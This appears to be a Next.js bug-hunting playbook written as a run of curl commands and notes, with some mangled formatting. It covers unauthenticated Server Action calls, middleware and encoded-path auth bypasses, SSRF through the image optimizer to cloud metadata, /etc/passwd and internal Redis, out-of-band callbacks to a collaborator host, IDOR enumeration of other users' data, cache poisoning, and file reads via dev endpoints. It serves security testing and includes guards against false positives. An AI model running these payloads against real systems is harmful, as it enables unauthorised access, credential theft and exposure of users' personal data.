Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
\nHighest-value chains:
\n/_next/static/ — middleware skips static asset paths → protected routes accessible via /_next/data/ IDOR/_next/image SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata/_next/image?url=&w=&q= Image optimizer — SSRF candidate\n/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate\n/__nextjs_original-stack-frame Debug stack frame endpoint\n/_next/static/chunks/ JS bundles — source map candidate\n/api/ API routes — standard hunt surface\n__NEXT_DATA__ in HTML SSR props leaked to client\nx-nextjs-* response headers Confirms Next.js\n# Confirm Next.js and get build ID\ncurl -s https://$TARGET/ | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https://$TARGET/ | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for /_next/data/ paths\nBUILD_ID=$(curl -s https://$TARGET/ | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https://$TARGET/_next/static/chunks/pages/index.js.map\" | head -5\ncurl -s \"https://$TARGET/_next/static/chunks/main.js.map\" | head -5\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https://$TARGET/ | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r \"createActionURL\\|$$ACTION_\" recon/$TARGET/ --include=\"*.js\" 2>/dev/null\n\n# Call Server Action directly without auth\ncurl -s -X POST https://$TARGET/target-page \\\n -H \"Next-Action: ACTION_ID_HERE\" \\\n -H \"Content-Type: multipart/form-data; boundary=----\" \\\n -H \"Cookie: \" \\\n --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o /dev/null -w \"%{http_code}\" https://$TARGET/admin/dashboard\n# → 200 means accessible\n\n# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude /_next/static)\ncurl -s \"https://$TARGET/_next/static/../admin/dashboard\"\n\n# Encoded path bypass\ncurl -s \"https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json\"\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json\"\n/_next/image)# Basic SSRF test — internal metadata\ncurl -s \"https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75\"\ncurl -s \"https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http://UNIQUE.COLLAB_HOST\"\ncurl -s \"https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75\"\n# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain\nFALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only\nfetches URLs allowed by images.remotePatterns / images.domains in\nnext.config.js. A non-whitelisted url returns 400 by default — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A 200\nreturns an optimized image, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique\nCollaborator subdomain (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.
\n\nNote: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\nthrough < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative\nredirect that trusts the
\nHostheader — NOT a/_next/imagebug, and it does\nNOT affect Host-routed providers like Vercel. See Phase 2 for the Server\nActions surface.
/_next/data/ IDOR & Data Leakage# Enumerate prerendered JSON for user-specific data\n# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json\ncurl -s \"https://$TARGET/_next/data/$BUILD_ID/profile.json\" \\\n -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n curl -s \"https://$TARGET/_next/data/$BUILD_ID/users/$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https://$TARGET/dashboard\" | \\\n python3 -c \"import sys,re,json; m=re.search(r'<script id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL/query\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https://$TARGET/blog/test-post?preview=<b>$MARK</b>\" -o /dev/null\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected\n# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https://$TARGET/blog/test-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test\"\ncurl -s \"https://$TARGET/api/revalidate?token=GUESS&path=/admin\"\nPrecondition: __nextjs_launch-editor and __nextjs_original-stack-frame\nare react-dev-overlay middleware mounted ONLY under next dev. A production\nbuild (next build && next start) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running next dev in\nproduction. Treat any non-404 as the real finding; do NOT report a 404/filtered\nresponse as confirmation.
# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n \"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1\"\ncurl -s \"https://$TARGET/__nextjs_original-stack-frame\" \\\n --data '{\"file\":\"/etc/passwd\",\"line\":1,\"column\":1}'\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https://$TARGET/_next/static/chunks/pages/_app.js\" | \\\n grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https://$TARGET/ | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)\nif m:\n d = json.loads(m.group(1))\n print(json.dumps(d.get('props', {}), indent=2))\n\"\n| Next.js finding | \nChain to | \nImpact | \n
|---|---|---|
| Server Action no auth | \nCall privileged mutations directly | \nData manipulation / admin access | \n
/_next/image SSRF | \nCloud metadata → IAM creds | \nCloud compromise | \n
/_next/data/ IDOR | \nOther users' server-side props | \nPII / token exfil | \n
| Middleware bypass | \nProtected admin routes | \nAuth bypass | \n
| Source map exposed | \nReconstruct TS source → find hardcoded secrets | \nFurther vulns | \n
__NEXT_DATA__ leaks | \nServer-side secrets in HTML | \nAPI keys / tokens | \n
✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS/HTTP callback received from /_next/image SSRF\n✅ Middleware bypass: 200 response on protected route without auth cookie\n✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII
Severity:
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